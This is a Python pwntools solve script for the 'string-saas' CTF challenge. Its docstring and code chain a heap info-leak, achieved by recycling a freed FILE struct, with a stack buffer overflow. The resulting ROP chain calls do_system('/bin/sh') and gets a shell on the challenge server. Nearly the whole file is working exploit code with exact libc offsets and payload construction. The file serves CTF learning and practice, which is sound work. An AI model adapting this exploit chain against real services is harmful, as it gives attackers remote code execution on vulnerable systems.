Files
ctf/2026/cscg/pwn/string-saas/solve.py
2026-04-15 01:05:54 +02:00

186 lines
6.9 KiB
Python
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

#!/usr/bin/env python3
"""
Exploit for string-saas (CSCG CTF)
===================================
Vulns:
1) Heap info-leak via FILE-struct recycling in analyze()
2) Stack buffer overflow in main (fgets 64 into buf[32])
Mitigations: Full RELRO, PIE, NX, no canary.
Server: ynetd (fork-based → stable ASLR per restart).
Step 1 Leak libc via analyze()
• First analyze(): send a valid ZIP → fopen/fclose puts a freed
locked_FILE struct into a tcache bin.
• Second analyze(): send base64 that decodes to exactly 464 bytes
of non-null, non-ZIP data. decode()'s malloc recycles the freed
FILE chunk. The decoded 464 bytes overwrite the chunk's front;
the _IO_wide_data._wide_vtable pointer at offset 464 survives
untouched. fprintf(stderr, "Not a ZIP: %s\n", buf) prints past
our data and leaks the vtable pointer (_IO_wfile_jumps).
Step 2 ROP via buffer overflow
Payload (63 bytes, NO embedded 0x0a):
32 B padding | 8 B fake rbp | 8 B pop_rdi;ret |
8 B &"/bin/sh" | 7 B do_system+2
fgets's NUL terminator supplies byte 7 of the last address (0x00).
Immediately after the 63 raw bytes we append b"exit\n".
• fgets #1 reads the 63-byte ROP blob (no newline → stops at n-1=63).
• fgets #2 reads "exit\n" into buf[0..4] without touching buf[40..63].
• main does leave;ret → pop rdi → "/bin/sh" → do_system+2 → shell!
We jump to do_system+2 (skipping `push r15`) to fix 16-byte stack
alignment that system()'s movaps [rsp] requires.
"""
from pwn import *
import base64, zipfile, io, sys
# ── CONFIG ────────────────────────────────────────────────────────
REMOTE_HOST = "t5b46wguuorhymil3pq25tocmk-1024-string-saas.challenge.cscg.live" # set e.g. "pwn.cscg.live"
REMOTE_PORT = 443 # set e.g. 1024
# Offsets for the *provided* libc (Ubuntu GLIBC 2.35-0ubuntu3.6)
LIBC_IO_WFILE_JUMPS = 0x2170c0
LIBC_POP_RDI = 0x2a3e5
LIBC_BINSH = 0x1d8678
LIBC_DO_SYSTEM_P2 = 0x50902 # do_system+2, skips push r15 for alignment
LEAK_DECODE_SIZE = 464 # decoded bytes that recycle the FILE chunk
# ──────────────────────────────────────────────────────────────────
context.binary = ELF('./string-saas_patched', checksec=False)
context.log_level = 'info'
# Override with local libc if running locally
USE_LOCAL = (REMOTE_HOST is None)
if USE_LOCAL:
_libc = ELF('./libc.so.6', checksec=False)
LIBC_IO_WFILE_JUMPS = _libc.symbols['_IO_wfile_jumps']
LIBC_POP_RDI = ROP(_libc, badchars=b'\n').find_gadget(['pop rdi', 'ret'])[0]
LIBC_BINSH = next(_libc.search(b'/bin/sh\x00'))
# find do_system jmp target
import subprocess as _sp
_r = _sp.run(['objdump','-d','-M','intel',
f'--start-address={hex(_libc.symbols["system"])}',
f'--stop-address={hex(_libc.symbols["system"]+20)}',
'/lib/x86_64-linux-gnu/libc.so.6'], capture_output=True, text=True)
for _line in _r.stdout.split('\n'):
if 'jmp' in _line and ':' in _line:
for _tok in _line.split():
try:
_v = int(_tok, 16)
if _v > 0x10000:
LIBC_DO_SYSTEM_P2 = _v + 2
except: pass
log.info(f"Local offsets: wfile=0x{LIBC_IO_WFILE_JUMPS:x} pop_rdi=0x{LIBC_POP_RDI:x} "
f"binsh=0x{LIBC_BINSH:x} dosys2=0x{LIBC_DO_SYSTEM_P2:x}")
def conn():
if REMOTE_HOST:
return remote(REMOTE_HOST, REMOTE_PORT, ssl=True)
else:
return process('./string-saas_patched', stderr=STDOUT)
def make_zip_b64():
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as zf:
zf.writestr('t.txt', 'A')
return base64.b64encode(buf.getvalue())
def do_leak(p):
"""
Leak _IO_wfile_jumps address via FILE-struct recycling.
Returns the leaked libc address or None.
"""
b64_zip = make_zip_b64()
# 1) Valid ZIP → triggers fopen / fwrite / fclose
p.sendline(b'analyze')
p.recvuntil(b'ZIP:')
p.sendline(b64_zip)
p.recvuntil(b'> ')
# 2) Non-ZIP → recycled FILE chunk leaks via fprintf %s
raw = b'\x41' * LEAK_DECODE_SIZE # 464 bytes of 'A'
p.sendline(b'analyze')
p.recvuntil(b'ZIP:')
p.sendline(base64.b64encode(raw))
resp = p.recvuntil(b'> ', timeout=5)
if b'Not a ZIP: ' not in resp:
return None
start = resp.index(b'Not a ZIP: ') + len(b'Not a ZIP: ')
end = resp.index(b'\n', start)
data = resp[start:end]
extra = data[LEAK_DECODE_SIZE:]
if len(extra) < 6:
return None
return u64(extra[:6].ljust(8, b'\x00'))
# ── MAIN ──────────────────────────────────────────────────────────
MAX_LEAK_TRIES = 50
for attempt in range(1, MAX_LEAK_TRIES + 1):
p = conn()
p.recvuntil(b'> ')
leaked = do_leak(p)
if leaked is None:
log.info(f"Attempt {attempt}/{MAX_LEAK_TRIES}: leak too short, retrying…")
p.close()
continue
libc_base = leaked - LIBC_IO_WFILE_JUMPS
if libc_base & 0xfff:
log.warn(f"Attempt {attempt}: base not page-aligned (0x{libc_base:x}), retrying…")
input()
p.close()
continue
log.success(f"libc base = 0x{libc_base:x}")
pop_rdi = libc_base + LIBC_POP_RDI
binsh = libc_base + LIBC_BINSH
dosys2 = libc_base + LIBC_DO_SYSTEM_P2
# Build 63-byte ROP blob
payload = b'A' * 32 # input_buf (32 B)
payload += b'B' * 8 # saved rbp (don't care)
payload += p64(pop_rdi) # saved rip → pop rdi; ret
payload += p64(binsh) # → "/bin/sh"
payload += p64(dosys2)[:7] # → do_system+2 (byte 7 = \0 by fgets)
assert len(payload) == 63, f"payload len {len(payload)} != 63"
if b'\x0a' in payload:
log.warn(f"Attempt {attempt}: 0x0a in ROP payload (bad ASLR luck). "
"Need server restart for new layout.")
p.close()
# On a fork server the layout is fixed until restart.
# If running locally each process() gives new ASLR.
continue
log.info("Sending overflow + 'exit' trigger…")
p.send(payload + b'exit\n')
p.recvuntil(b'ok, bye!')
log.success("main returned → ROP chain executing")
# Give the shell a moment to start
import time; time.sleep(0.2)
p.sendline(b'echo "SHELL_OK"')
try:
p.recvuntil(b'SHELL_OK', timeout=3)
log.success("Got shell!")
except EOFError:
log.warn("Shell died — alignment or constraint issue")
p.close()
continue
p.interactive()
break
else:
log.failure(f"Failed after {MAX_LEAK_TRIES} attempts")